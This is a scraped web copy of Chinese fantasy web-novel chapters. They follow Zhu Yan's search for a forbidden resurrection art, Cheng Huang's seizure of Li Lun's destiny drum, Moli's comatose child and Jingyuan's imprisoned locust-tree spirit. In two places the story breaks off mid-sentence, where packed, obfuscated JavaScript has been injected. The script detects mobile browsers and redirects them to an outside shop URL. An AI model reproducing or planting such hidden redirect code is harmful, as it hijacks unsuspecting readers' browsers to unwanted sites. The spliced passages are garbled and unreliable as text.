脸色五彩斑斓的英磊,小声同净渊嘀咕着:“几万年不见,琉璃的脾气越来越火爆了!你看看他!肯定是你们九幽鬼域的风水不养蛇!他之前在大荒时,被离仑跟朱厌养得可乖了...” 净渊捂住自己狂跳的额头,一脸嫌弃:“除了朱厌以外,伽罗就是他的命。你故意在他面前说他最忌讳的事,他不咬你都算给你面子了,你还得了便宜又卖乖!你...” “你俩都别吵了,让这吐血娃娃先好好休息下吧。” 陌离朝两人轻声一喝,两人立刻安静下来。 陌离看到朱厌睡得很不安稳,眉头都皱成一块了,还往外冒着冷汗,转身吩咐净渊去备些热水跟取些干净帕子过来。 坐在床沿边的陌离,开始替朱厌把起脉。 只是越脉这脉象,他的脸色也越难看。 明明上一次见面,虽然朱厌妖力不多,但至少平稳,不像现在此番错乱无常。 朱厌的妖力呢... “他怎么样?” 英磊看见陌离脸色很差,猜测到朱厌状态许是不太好,担心陌离的医术对大荒的妖没用,他连忙开口一问,“需要我喊风生婆婆来看看吗?” 刚好净渊打了热水带了帕子,走到跟前。 陌离摇了摇头:“不用,没什么大问题,就是他身体太虚弱了,体内妖力也错乱无常...” 说完,便转身打湿帕子,拧干了,帮朱厌擦了擦他额头上的冷汗。 净渊看到朱厌脸色确实很差,也有些担忧:“他的妖力,全都回来了吗?” 陌离还是摇了摇头,淡淡一说:“没有。上次见面你说他的妖力是三成,若是真的,现在也就比那时好了点,但是只有四成。” 听到朱厌只恢复四成妖力的净渊,回想起方才无意看到他眉间那一闪而过的妖印,眼色晦暗之余,更多了几分复杂。 “那他何时能醒过来?”英磊追问道,沉默了一会后,有些唯唯诺诺地说,“方才槐精们说,给他点了梦鱼香...” 陌离一听,瞥了一眼藏在角落偷看着的槐精们,语气淡淡:“无碍。我估摸,明早他便能醒了,先让他好好休息下吧。” 槐精们听到陌离的话,顿时松了一口气,他们还担心那香会不会伤害到朱厌。 幸好,没酿成大祸。 “陌离大人,那...”槐精萌萌挪着小碎步跑到床前,奶声奶气地说,“我们今晚可以陪妖后大人睡觉吗?我们睡觉都很乖的。” “大人们,要是半夜妖后大人不舒服,我们还能给你们通风报信呢!” 她身后站着的槐精们也附和着点了点头,一个个都巴眨着大萌眼,眼神可怜兮兮在陌离,净渊跟英磊三人之间打着转。 净渊跟陌离没有出声,毕竟这里还是别人的地盘。 英磊望向陌离,看到他也只是默默点了点头,心中便有了数。 饶是英磊先行开了口:“可以。但你们不许吵他。他要是有什么事,你们可得第一时间来通知告诉我们,知道了吗?” 槐精们齐齐应声:“知道了!” “嘘——”英磊连忙捂住他们的嘴,小声训着他们,“你们妖后大人身体不好要安静休息,别吵人了。” 陌离又替朱厌擦了额前冷汗,给他掖了掖被子,吩咐槐精们几句话后,便随净渊一同离去了,回了九幽鬼域。 翌日,天光微明,晨雾未散,阳光透过开着的窗穿进朱厌的房间。 床塌上的朱厌,眼睫微颤,似有苏醒之意。 饶是一旁的琉璃先行察觉到后,爬到他胸前,撑着蛇身,一双银朱红瞳一动不动盯着朱厌。 熟睡中的朱厌,微微睁开了眼,窗外折入的阳光让他有些不太适应,倒是皮肤上传来的一阵冰凉触感让他有些吃惊。 定睛一看,才发现自己手腕上缠了一条小白蛇。 看到朱厌终于醒了,琉璃开心地从他手腕爬到他的掌心,将自己卷成一团,睁着眼睛凝视着他。 琉璃的尾巴还一个劲儿地朝朱厌指缝钻,偷偷卷上他的尾指,吐着猩红蛇信子,呆头呆脑望着朱厌。 朱厌看着手中亲昵的小白蛇,脑子忽而一闪而过一些零碎对话。 ... “嗯?这是什么呀?” “你不是一直想要养灵宠吗?送给你。” “喜欢吗?” “嗯。喜欢。要不,就叫它琉璃,这个名字可好?” “你喜欢就好,听你的。” “小白,琉璃。小白,小白,小白!” “你就那么喜欢吗?” “嗯。你送的,我自然喜欢。” “你都送了我那么多东西了,到底哪样才是定情信物啊?” “你说呢?” ... 头又不受控地发疼起来,让朱厌一下子就疼得有些发昏。 琉璃一见,着急地在他掌心上不停打着转。 朱厌硬生生扛过了晕眩,想说什么,可到了嘴边却脱口而出这句话:“小...小白...” 似是安慰着这小白蛇他的无碍,也似是叙说着他依旧记着它。 琉璃开心得又朝朱厌靠近了几分,主动蹭着他的手。 朱厌伸指想要摸摸它,却又不知怎么的,又缩了回去。倒是琉璃察觉后,主动把脑袋伸到他手里让他摸。 朱厌床脚边围着一大堆睡得乱七八糟的槐精们,他只能小小声问着小白蛇。 “你就是琉璃吗?你也是离仑送给我的吗?” 琉璃很通人性地点了点,又开心得蹭了蹭朱厌的手。 朱厌轻手轻脚下了床,把被子给槐精们盖好,便去了洗漱。 待他洗漱打理好一切,来到大厅时,除了英磊,还有两个他意想不到的人。 居然是净渊跟陌离。 净渊上次他去鬼域时,便见过了。回来后,在英磊跟茯苓口中也听到了些许关于他的事,算是略有耳闻。 眼睛在望到净渊身旁站着的陌离时,停下了,倒是一脸疑惑起来。 英磊看见了,接过话介绍了起来:“大妖,净渊你是已经见过了,离仑的好兄弟。一旁的那位呢,是他的鬼侣,也是暗域之主,陌离...” 说到一半他突然停下,斟酌了半天才继续说着:“他呢,算是你的好闺蜜了...只不过呢,你忘记了,他也忘记了...这其中的前因后果,往后再一一告诉你们吧。” 朱厌一听,倒是很诧异。 他失忆了不知缘由就算了,虽然他隐约觉得自己之所以会失忆,很大可能是跟离仑有关系。 但净渊在身旁,陌离还是暗域之主,却也失忆了,就有点奇怪了。 朱厌对上陌离的视线,两人隔空微微颔首,也算是打过招呼了。 净渊坐下,抿了一口茶后,忽而开口:“朱厌,今日找你,是有些事,想跟你谈谈。” “我听我手下小鬼来报,你在找‘死生之术’,是吗?”净渊那双紫眸里泛起超乎寻常的冷静,目不转睛盯着朱厌。 英磊一听‘死生之术’,顿时就炸毛起来:“等等,这‘死生之术’可是那古书中提到的取丹抽髓亦可招魂结魄的‘死生之术’?” 英磊惊得高声一喝:“大妖,你该不会是想要用你自己来复活离仑吧?” 朱厌没有说话,只是一直沉默。 英磊瞧他不语,心中了然了几分,连带着脸色也怪异起来:“这邪术,可是会要你命的。况且,它不是早在大洪荒时期就失传了吗?” “没错。”陌离接过话,很认真同朱厌分析着,“就算让你无意找到了这术法,我昨日已帮你把过脉象了,你如今的身体,根本无法承受开阵带来的反噬。” “先不说你身体是否能承受住,也不谈你是不死不伤的大妖,我没记错的话,这‘死生之术’的阵法,需要逝亡之人的精魄吧?你有那木头的精魄?” 净渊只是淡淡一语,看向朱厌的眼睛里多了几分冽然。 朱厌依旧没有开口,但他别开了与净渊对视的眼,不想让他察觉出自己内心的不安。 “什么精魄不精魄的!大荒的妖,死了就是死了,哪来这玩意呢...”英磊说着说着,也不由伤感起来。 英磊的话,让朱厌悄然攥紧了藏在衣袖中的手,攥得紧紧的,连嘴角也无意抿成了一条线。 一屋子的人,突然就安静沉默起来了。 针落可闻的室内,唯有案桌旁,那一盏小壶里温开了的水,往外冒热气白雾的同时,正咕噜咕噜冒着声儿。 白琉璃从朱厌衣袖钻出,爬到了桌上,撑起身子,虎头虎脑盯着净渊看。 净渊用盖子拨了拨杯里漂浮着的茶叶,看似漫不经心地随口一问:“朱厌,若是有机会,你会想回到过去吗?” 对面传来杯子摔碎的声音,引得所有人都望过去—— 朱厌依旧没有说话,只是盯着摔碎的杯子微微出神。 回到过去?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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净渊心中了然,岔开话题:“时候不早了,我们就先回去了。琉璃在聚魂鬼海疗伤了三万多年,终于醒了。我们,就把它还给你了。” 莫名被点到名字的白琉璃,歪着脑袋,银朱红瞳定定看着净渊,似在同他道别。 “小白,你乖乖的,知道吗?”陌离俯下身子叮嘱着琉璃,“把伽罗也保护好。” 陌离说完,伸出指尖,轻轻戳了被琉璃尾巴卷着的黑珠子。 只见那原本无光的黑珠子,竟然亮了一下。 琉璃的眼睛,一瞬间就肉眼可见睁大了几分,吐着蛇信子吐得更欢乐了。 琉璃转身,拖行着身子爬到朱厌跟前,把尾巴亮着的黑珠子举到他跟前,好像在跟他说,快看快看。 朱厌摸了摸眼前的白琉璃。 其实,朱厌不记得伽罗是谁了,也不记得琉璃了。 但他看琉璃的反应,内心猜测着,伽罗,应该是对琉璃很重要的人吧。 过了一会,英磊随同净渊陌离一起离开了槐江谷小居。 尽管已经离开了槐江谷,也走了很远,但他还是警惕地往自己身后下了一道临时的隔音咒,确保万无一失后,才开口质问净渊。 毕竟,朱厌身为上古大妖,五感超群,万一被他听到了就麻烦了。 英磊正式开启喷鬼模式:“你说你这只死鬼,好端端的,给朱厌他说什么大妖的命格法器。这种虚无缥缈的东西,万一他真信了你的鬼话,这可怎么办?” 净渊耸了耸肩,一脸无所谓的模样:“那也好过他,没头没脑地上天遁地寻那什么死生之术吧?!那玩意虽不知招魂真伪,但能要人命倒是真的。” 他忽然默默叹了口气,伸手拍了拍英磊的肩膀,有些语重心长地说着:“有个盼头给他,省得他老碰壁受伤,总归是好的,你说是吧?” 净渊这话说得,倒是很得英磊的心。 他倒是十分认同他的这番话。 自从朱厌苏醒后,不是重伤吐血,就是昏迷晕厥,哪怕他是不死不伤的大妖,又有几条命够他如此不眠不休的折腾呢? “说到这招魂,我倒是想起我爷爷以前说过的挽歌之术,上一个用过挽歌之术的,还是南海的鲛人族...” ... 大荒的奈落川海崖边,一道黄白身影站在悬崖之上,衣袍翻飞,发丝微散。 乘黄收起施咒的双手,微微睁开双眼,眼神阴恻恻地看着奈落川的海面逐渐浮现的阵法。 伸出的右手,摊开的掌心之上,魑魅沙漏骤然而现,里头收集来的嗔痴爱恨正来回飘荡着。 “朱厌,三万年前,原来是你亲手,把它埋进了这奈落川的海崖之下...” “不如...”乘黄嘴角扯开一个很生硬的笑,看着格外瘆人,“就由我来帮你,找回它吧...” 38.命格法器 大荒奈落川的海崖之下,原本风平浪静的海面开始变得波涛汹涌,上空更是黑云滚滚,一时之间,电闪雷鸣。 可这一切突如其来的巨大变动,大荒境内的所有妖怪,乃至槐江谷内的朱厌都丝毫没有察觉到,仿佛乘黄如此大张旗鼓的设法开阵,根本就不曾发生过。 乘黄活了十几万年,也是大荒境内数一数二的大妖之一,平日里除了没事做做木偶之外,最喜欢的便是搜集和学习各种猎奇古籍典故。 这个阵法,可是他无意之间发现的好东西。 此刻,整座奈落川,早就被乘黄用术法强行与大荒还有结界,彻底隔绝开。 奈落川外的妖怪,看不见阵内的一切,也进不到这里头的。 若有不慎闯入的妖,自会被他提前用魑魅沙漏布置好的时空牢笼彻底抓住,想逃,也逃不出去,只有死路一条! 乘黄瞥了一眼奈落川的上空,嘴角那个僵硬的笑容,又往上提了提一点弧度。 嘴里呢喃念咒,手中的魑魅沙漏,开始发出震耳欲聋的嘶鸣—— 魑魅沙漏里头搜集到朱厌的七情六欲,开始逐一飘出沙漏,卷抱成一团流光溢彩的光雾,围在乘黄身边。 压制住奈落川的阵法,开始发出黄光,冲向上空。 天空被劈开,骤然降下一道天雷,光雾化作朱厌的模样,飞向天雷即将击下的海面。 天雷狠狠劈进‘朱厌’体内,‘朱厌’不慎被击落,噗通一声,直接坠入奈落川里。 没一会,波涛汹涌的奈落川深渊之中,开始折射出一道若隐若现的帝释青蓝光。 接着,先是一阵很破碎的鼓声,缓缓传入耳中。没一会,随着声音的靠近,海崖深渊之下传来的鼓声,越来越紧密。 奈落川的海面被一道来自海崖深渊的力量一劈为二,强行分开。 露出的海崖深渊之中,一道幽蓝光辉折出,冲向空中,藏匿了起来。 海面顿时卷起一阵大风暴,白雾弥漫之中,传入耳中的鼓声,越来越响亮。 无形的鼓浪,开始朝着站在海崖边的乘黄,不断攻击去—— 乘黄被鼓声攻击得只能被迫起阵,施法抵御,却还是难敌这发疯魔愣的鼓声,被击得整个人飞了出去,连连吐了好几口血,地面更是被他砸得留下了一道深深的沟壑。 “该死的!没想到,这命定法器也如此凶猛...”乘黄被鼗鼓打得有些恼羞成怒,气得咬牙切齿,抬起的手背,狠狠擦掉嘴角的血。 上一秒还气得咬牙切齿的乘黄,眼睛一亮,像是想到了什么东西,忽然发疯似的笑了起来,“有意思!着实,很有意思——” 大手一挥,半空裂开一道缝隙,掌心大小的魑魅沙漏顿时变得格外巨大,里头的东西飘出,化作一个‘朱厌’。 下一秒,这个‘朱厌’又变成了一只周身被黑雾裹着的白猿法相,仰天一吼。藏起来不见踪影的鼗鼓,顿时停下了攻击乘黄的鼓浪。 白雾消散,拨开的云层之中,一枚泛着幽蓝光辉的鼗鼓,从半空缓缓露出。 飘在半空的鼗鼓,像是有了自我意识般,先是犹豫地朝着乘黄所在的方向一转。在看到乘黄身旁的‘白猿法相’后,有些不确定又有些惊喜地朝前挪了几分。 “过来——”乘黄睁大的眼里满是惊喜,小声召唤着飘在空中的鼗鼓。 可是,鼗鼓却纹丝不动。 乘黄下意识歪了歪脑袋,瞧它一直面向自己身旁的‘白猿法相’,灵机一动,伸手施咒,一旁的‘白猿法相’开始动了起来,落地变回了‘朱厌’的模样。 眼前的‘朱厌’,肤色惨白,目光呆滞,嘴角噙着一抹生硬的笑。 在乘黄操控下,‘朱厌’手中现出一把利刃,发狠地划开自己伸出的掌心,语气幽幽道:“过来——” 掌心鲜血涌出的瞬间,停在半空一动不动的鼗鼓,开始动了一动。 见‘朱厌’打算继续拿刀划拉自己,鼗鼓当下就以最快的速度冲到‘朱厌’身边,一个劲打掉他手上的刀。 鼗鼓忍不住,朝前拱了拱,又蹭了蹭站着一动不动的‘朱厌’,可‘朱厌’根本就没有反应。 看到‘朱厌’的手依旧在流着血,鼗鼓在他眼前转了一圈后,镌刻着古槐一族妖徽的鼓面中央,飘出一抹淡到几乎快看不见的光丝,光丝跌跌撞撞飘到‘朱厌’手里。 下一秒,‘朱厌’受伤的掌心,伤口开始以肉眼可见的速度,愈合起来。 鼗鼓一见,虎头虎脑地摇了起来。 这一次的摇动,并没有形成方才强烈攻击的鼓浪,而是很有灵性的鼓声,就像孩童玩乐时,那种欢乐又灵动的鼓点。 ‘朱厌’抬起僵硬的手,动作十分僵硬又诡异地摸了摸在他眼前蹦跶着的鼗鼓。 鼗鼓见状,在朱厌跟前,摇动得更开心了,就像是好不容易才见到主人的小灵宠。 ‘朱厌’想要抓住它,鼗鼓呆了一下,一点都不敢乱动。 后知后觉的它,像是察觉到‘朱厌’的用意,飞到他跟前,蹭了蹭他的脸后,反而将自己送到了他手上,乖乖躺着干脆一动不动了。 只是,下一刻,‘朱厌’的脸突然变成了乘黄的脸,一把手抓住鼗鼓,力量之大吓得躺在他掌心的鼗鼓为之一颤。 发现抓它的妖是乘黄后,鼗鼓开始挣扎起来。 只是还没挣扎几下,鼗鼓就被乘黄彻底收进了魑魅沙漏之中。 “抓到你了...小东西...”乘黄看着魑魅沙漏中,变得只有指甲盖大小却依旧拼命撞击着沙漏,试图想要跑出来的鼗鼓,阴沉笑着引.诱道,“不如,我带你,去见你喜欢的朱厌,如何?” 果然,此话一出,方才还拼命撞击沙漏想方设法要跑出来的小鼗鼓,瞬间安静下来。 小鼗鼓变成离仑的样子,呆呆地在收集了七情六欲的沙粒上坐了下来。 小鼗鼓那双黯淡呆滞的眼睛,一动不动地望着隔了魑魅沙漏,眼前那张白得跟死人脸差不多却在它面前无限靠近放大的乘黄,一动不动的。 乘黄见状,眼里闪过一抹得逞的精光:“不愧是离仑的命格法器,性子倒是与他有几分相似,满脑子只有朱厌。” 收进魑魅沙漏里的小鼗鼓,变成主人离仑的模样,还是一脸呆呆望着乘黄。 只不过在乘黄提到‘朱厌’二字时,动了一动,小鼗鼓跑到沙漏前,小脸贴在沙漏上,盯着乘黄。小鼗鼓甚至还朝着魑魅沙漏哈起气来,隔着水雾,扭扭歪歪画了个心,又在中央位置写了个‘厌’字。 乘黄没有再理会它,只是转身,在离去前,将身后的残局也给收拾了下。 大手一挥,阵法消散,一切复位。 害怕被人察觉到的他,还贴心地变出一个小木偶,将木偶变成鼗鼓的样子,沉入了奈落川的海崖深渊。 乘黄刚走没多久,一道黄光从天而降,精准落在了奈落川的海崖边上。 是英磊。 想到方才在槐江谷小居里,净渊同朱厌说的那番话,思考了又在思考,他还是决定得马不停蹄来一趟奈落川。 海崖的风,拂过英磊的头发,却带不走他此时脸上的担忧。 英磊十指结印,朝着奈落川的海面,口中念咒:“天地生灵,众生百相,起——” 奈落川被他强行劈开,露出了埋在深渊之中的离仑法器。 瞧见那鼓的封印完好无损,英磊暗自叹了一口气。 “三万年前,你不惜一切代价,也要把这鼓封进了奈落川。三万年后,如今若是被你寻回了这鼓,知道了真相,真不知是福还是祸...” 英磊收起伤感的眼神,下定决心般:“算了。净渊说得也不一定就有用,到时候你可别把命给赔进去了,还是别让你找到了。” 说完,他用山神之力加固了封印,甚至还给奈落川加了一层结界,确定了又在确定后,才起身离开。 九幽鬼域的入口,两道身影缓缓落地。 嘭的一声巨响,冥府之路幽幽打开,奈何亡桥缓缓落下。 净渊牵着陌离,踏上了奈何亡桥。 奈何亡桥上飘着的诸多鬼雾,看到他们后,让开了路,跪在两旁,齐齐行礼:“鬼王大人!鬼后大人!” 净渊只是微微颔首,没有说话。 “今日在大荒,你同那吐血娃娃所说之事,可有几成把握?”陌离先行开口,打破了两人之间有些诡异的沉默。 “你说是,复活之事,还是时空扭转,让朱厌回到过去?”净渊突然装起糊涂来,冲他露出一个痞笑。 “你说呢?”陌离一见他这样,顿时没好气地甩开了他的手。 净渊一把抓住他的手,牵得死死的,连忙解释道:“其实...没把握的...” “没把握你还敢提?”陌离一听,眉头皱紧,顿时语气也不悦起来,“你这不是胡闹吗?给他希望,又把这摇摇欲坠的希望给毁灭了吗?” “净渊,我不喜欢你这样戏弄他。” 陌离这话一出,净渊顿时警惕起来。平日里,只有自个犯错或是惹陌离生气了,陌离才会喊他全名。 “陌陌,我可没戏弄朱厌呢!”净渊赶紧自辩起来,“你也知道,复活不仅需要肉身更需要魂魄的。先不说妖天生就无魂无魄,离仑那小子的肉身,在三万年前就不烬木烧得一干二净,身死魂销了...” “肉身是好解决,可问题是魂魄呀...找到那小子的命格法器,确实,动用禁术,说不定能从中剥离出一丝精魄呢...” 陌离依旧自顾自走着,没有想要理睬围在他身边急得团团转的净渊。 净渊看他连看都没看自己一眼,赶紧全盘拖出:“扭转时空,回到过去,本就是悖逆天道,有违人常。稍有不慎,便会九死一生。可若是能借用离仑的法器为引,便能一定程度上躲过天道降罚...” 听到‘回到过去’,陌离停下脚步,微微抬眸,但也只瞥了净渊一眼。 净渊一看,乐呵地扯出一大口白牙,一脸骄傲的说:“当然了,这一切,肯定离不开厉害的我的帮忙了!” 陌离突然当着净渊的面,一板一眼很认真自我分析起来,一点都毫不客气:“净渊,我感觉,我跟你,可能是到了凡间话本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16492676|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写的那什么‘七年之痒’...不,我跟你是万年之痒了。我发现,我现在看到你,就心烦意乱的...” 还不等净渊说话,陌离就化作一阵青烟,消失得不见踪影了。 “陌陌,你去哪儿呀?今晚我还回房睡的哈!”净渊朝着陌离远去的方向,大声嚷嚷着。 奈何亡桥上两旁跪着的鬼雾鬼魂们,早就对眼前他们的鬼王被鬼后冷落的场面见怪不怪了,纷纷散了去。 净渊一下子就拉了脸,没好气一说:“你...你们...” 陌离没有回到无殇楼,而是去了另外一处宫殿。 宫殿气势恢宏,外围被一层水青结界笼罩住。 陌离像是进入无人之境一样,穿进了结界,进了殿。 他轻手轻脚推开殿门,缥缈的帘纱被殿外突如其来的风吹得飞扬。 九幽鬼域,其实很冷又很暗,是那种刺骨的冷意,又是那种不见天日的昏暗。 可这座殿内,除了灯火通明之外,温暖得不似寻常。殿空中还时不时飘来一阵沁人心脾的香味。 走到最里头,摇曳的长明灯照耀下,是一个很精致的小摇床。 小摇床里睡着一个刚出生不久的粉玉团子,只是脸色泛着不太正常的血色。 小小的婴孩,完美遗传了陌离跟净渊的长相,绝佳的骨相让人只一眼便明了,这娃娃长大后,肯定是一个美人胚子。 陌离走到小摇床前,轻手轻脚抱起泛着微微冷意的婴孩,目光慈爱,轻声细语同他说着话:“我们小长宁,今日可有醒过来?” 被陌离抱着的小家伙,闻声后,依旧眼眸紧闭,只声未出。 “长宁,今日爹爹去了大荒,见到了一个跟你一样的吐血娃娃...只不过他...” 陌离的话还没说完,怀里被他抱着的长宁嘴角又无意流下了一抹血。接着,长宁眉心那枚跟净渊如出一辙的九幽鬼印,也有血迹涌出的痕迹。 陌离望着这血,眼神又晦暗了几分—— 他的长宁,恶化了... 细看之下,便可发现,长宁淌血的眉心,被人打入了三枚细小的银钉。 饶是看了上万次的熟悉场面,本该早已麻木的陌离,还是被这猩红刺疼了双眼,连想帮忙抹去血渍的手也再度慌乱起来。 可是,被他擦掉的血,没一会又再度涌出,不断刺激着陌离的视线。 陌离眼眶一酸,忍了又忍,还是终究没忍住,泛红了眼眶,又擦了擦长宁眉心渗出的血,哽咽道:“我们长宁,当初肯定很疼吧...” 不管陌离怎么同他说话,怀里的长宁始终都没有睁开眼。唯有细听之下,隐约传来的微弱鼻息,还代表着长宁还活着。 三万多年了,他的长宁看似睡着了,实则已经昏迷了足足三万多年了。 今日在大荒,当净渊同朱厌提到可以利用禁术回到过去时,他承认,他心动了。 如果可以回到一切还未发生的过去,朱厌可以救下他的妖侣跟孩子,他也可以想方设法救下长宁,亲手杀了那个狗东西! “悖逆天道,又如何?因果惩戒,又怎样?”望着怀里沉睡不醒的长宁,陌离的眼里闪过一抹狠戾与杀意,“朱厌,若是想回到过去,那我便助他一臂之力...” ... 被陌离丢下的净渊,刻意遣退了把守的鬼将们跟贴身随从,只身去往聚魂鬼海。 聚魂鬼海里,藏着无数处迷宫深渊。 净渊兜兜转转了许久,最终在一面看似寻常的黑墙前停下。 眼前净渊站着的地方,则是聚魂鬼海的禁地。这个地方,连陌离都不知道。 净渊掌心一摊,一枚泛着绛紫光辉的令牌自他手中而出,飘向了眼前这座灰暗的高墙。 这枚泛着绛紫光辉的令牌,是九幽鬼令。 鬼令贴上高墙,下一秒,高墙变成一扇看不见顶的石门,门面刻满了妖艳的彼岸花和古老的鬼族符文。 九幽鬼令又飘到半空,正对着它的石门,缓缓露出门锁。鬼令攀附上了天锁,咔哒一声,向四周散出一层紫光。 净渊用灵力推开了石门。 门一开,一股冰天雪地的寒气迎面而来,凛冽的寒气鞭打在脸上是难以言喻的火辣刺痛。 一眼望去,白雪皑皑的四周,是无尽蜿蜒的一片白茫茫。上空是高悬于顶的无数冰剑,稍有不慎,便会被万剑穿体而亡。 净渊刚朝前迈出一步,这里便发出一声轰鸣声,冰雪飞扬。 一层涌动的结界,开始现出原形。 泛着流动紫光的结界上空,悬着一个硕大的鎏金符阵,镇压着底下缓缓现形的巨大牢笼。 那是净渊亲自打造跟开阵镇压的魂牢,无数根天玄链合力锁着魂牢里镇压着的东西。 可细看之下,魂牢之中除了一堆天玄链,又是空无一物。 “你说你,为了他,变成这副样子,值得吗?” 净渊话刚说出,空无一物的魂牢中央,缓缓折出一抹鎏金光辉。 光辉消散,露出一节枯萎的枝干。 是槐树之根。 39.小小槐鬼 漂浮在魂牢半空的槐树枝干,只有巴掌长度的槐树之根,早已枯萎多时,仅剩下中央一小处,约莫三厘的位置,还有些色泽鲜艳。 囚锁着槐树之根的天玄链,是净渊废了一番功夫,用九幽冥火灼炼了数百年才成的法器。 天玄链是净渊取造于四海八荒内,那些凶神恶煞,十恶不赦的灵兽百骸,专门用来镇压和囚锁住这节槐树之根的。 净渊语气淡淡,像是聊起家常般说起:“昨日大荒异样,琉璃狂化苏醒。我便跟陌离,带着他回了大荒,也见到了朱厌。” 他话刚说完,原本黯淡无光,枯萎多时的槐树之根,中央那只剩下三厘色泽鲜艳的位置,亮了一下。 接着,一抹幽蓝淡光,缓缓冒出头。 净渊也不催不急,只是耐着性子,站在一旁,安静等着。 那抹幽蓝淡光又亮了一下,开始聚在一起,变成一团淡到几乎快瞧不见的小东西。 幽蓝色的小东西,先是只钻出了小到不能再小的脑袋儿。 使出浑身解数,啵的一声微响,里面的东西最后才扭扭捏捏,终于把自己小小的身体,从槐树枯根的里头,给拔了出来。 是一个跟花生米差不多大小的小玩意。 小东西全身上下都被一团幽蓝光雾包裹着,看起来像是一件蔽体衣裳。头发更是很夸张地直接朝着上空飞去,就像一个迷你版的小火焰人般,水灵灵地从槐树之根里头,慢悠悠钻了出来。 小东西站稳身子后,颤颤巍巍尝试着走了几步后,一下子跌坐在槐树之根上面。 “你说你,为了他,变成这副样子,值得吗?” 终于等到小东西出来的净渊,深深叹了一口气后又重复了方才问的话。 坐在槐树之根上的小小槐鬼,像是听不懂净渊的话,只是很卖力地从跌坐下去的槐树根上,颤颤巍巍地努力站了起来。拖着超级超级短的小短腿,在枯萎的槐树之根上,来来回回,不停走了又走。 净渊一看,一个邪恶想法在心中彻底诞生。 他故意靠近了过去,在槐树之根前面,语气格外欠揍地同小小槐鬼,小小声说了一句—— “朱厌~他~不~爱~你~了~” 刚抬起小短腿,正准备要踩下,继续来回走的小小槐鬼一听,小小的小短腿直接停在半空一动不动了,转头看向靠近自己的眼前巨脸。 终于被净渊这番话,彻底勾走注意力的小小槐鬼,傲娇地转过自己小小的身体,吧啦一声,一个屁股墩儿,坐到了槐树根上,正面对着净渊,呆呆望着他,一动不动的。 正当净渊刚想开口继续逗着他时,小小槐鬼开始当着他的面,吹起来了口水泡泡,自己一个人,坐在飘着的槐树根上,玩得不亦乐乎。 身为赫赫有名的九幽鬼王,此时,净渊的脸色十分精彩。 他怎么觉着,自己好像被眼前这跟花生米差不多大小的小东西,给光明正大的挑衅了?! 啵的一声—— 小小槐鬼吹自己玩的口水泡泡破开了,变成了一股很淡的蓝雾,形成了一个字。 净渊又靠近了几分,同小小槐鬼两人,大眼瞪着小眼,研究了大半天,才勉强看了明白。 看懂文字后的净渊,一脸无语,强忍住内心抓狂又暴跳如雷的情绪,藏在衣袖中的手更是攥了又松,松了又攥。 啵的又一声,又一个小口水泡泡被小小槐鬼给玩破开了,又变成蓝雾,又形成了跟刚才一模一样的字。 是‘厌’字,朱厌的‘厌’。 净渊满眼无语,忍不住吐槽:“堂堂大荒妖王,你脑子里,除了朱厌,就没别的了吗?!” 谁知道,被净渊吐槽兼骂了一嘴的小小槐鬼,根本就不觉得净渊是在骂他。 小小槐鬼甚至还以为是夸他,伸手将裹着自己的蓝雾衣裳扯下,做成了一只小猴子,邀功似地举到了净渊跟前,想让他看一看。 净渊觉得,幸好自己是大鬼,眼睛够好,视力够绝。 不然,眼前这花生米大小的小槐鬼,举着一只跟米粒大小的猴儿搁人眼前,谁看得到呀?! 四海八荒之内,估计也就他这只大鬼,看得清楚! 说这小小槐鬼痴傻呆障,它又好似听得懂他的话;说这小小槐鬼迟钝心大,它又晓得将它心中所想全盘托出... 谁能想到,九天十地之内,那位令人闻风丧胆,手段雷厉风行,行事狠戾张狂,庇护万千妖族的大荒妖王,居然变成现在这个鬼样子?! 真不怪他得用几百根天玄链囚锁着他,这鬼样子跑出去,一口就被人吞掉了! 净渊叹了长长的一口气,又忍不住摇了摇头。 内心暗自判定的他,觉得这大荒的前途怕是废了,有这么一个一心只想着情情爱爱,风花雪月的王,真是前景堪忧! “槐木头,你说,你把你那鼓,藏哪去了?” 小小槐鬼根本就没有理会他,连个眼神都懒得给他,吹着口水泡泡玩。 净渊实在看不下去,邪恶地伸手,直接戳破了他吹的小口水泡泡。 小小槐鬼一看,直接来气,朝他正面吐了吐口水,以示自己的嫌弃与愤怒,还有一抹光明正大的抗议! 净渊一瞧他这模样,更加一脸嫌弃地看着他:“都变成这样了,臭屁脾气还一点都没变!全天下,也就朱厌受得了你这个破脾气!” 一听到朱厌的名字,小小槐鬼停止了朝净渊吐口水的不礼貌行为,转而安静地坐了下来,又自己跟自己玩起了吹口水泡泡的游戏。 口水泡泡一破,又变成了一个蓝色的‘厌’字,朝着净渊的眼前,轻飘飘地飘了过去—— “你真不告诉我吗?找到了那鼓,我就有办法送朱厌回到过去。” “就是那个朱厌送给你的鼓,当时你美滋滋跑到我跟前炫耀,说你专门把它炼制成你的命格武器。还记得吗?” 净渊还变出那小鼗鼓的模样,往小小槐鬼跟前递了几分。 鼗鼓尺寸正常,但搁在花生米大小的小小槐鬼,就跟骇人的巨物般,恐怖。 小小槐鬼,没有反应,只是默默看着净渊强行搁到它眼前无比巨大的鼗鼓。 净渊一瞧,左眼诡异一跳,心里顿时涌现出一阵有种不太好的感觉。 小小槐鬼盯着那鼗鼓看了老半天,终于起了反应,指着净渊变出来的鼗鼓,第一次奶声奶气朝他开口:“厌——” 净渊眉头一跳,鼗鼓收了回去,一手捂住胸口,一手按住自己狂跳不止的太阳穴,只觉得自己眼前一黑。 他就知道! 靠这木头小鬼,还不如靠自己!要不,还是继续再锁他几万年好了?! “...朱...厌...”坐在槐树根上的小小槐鬼,努力地模仿着净渊刚刚说的话。 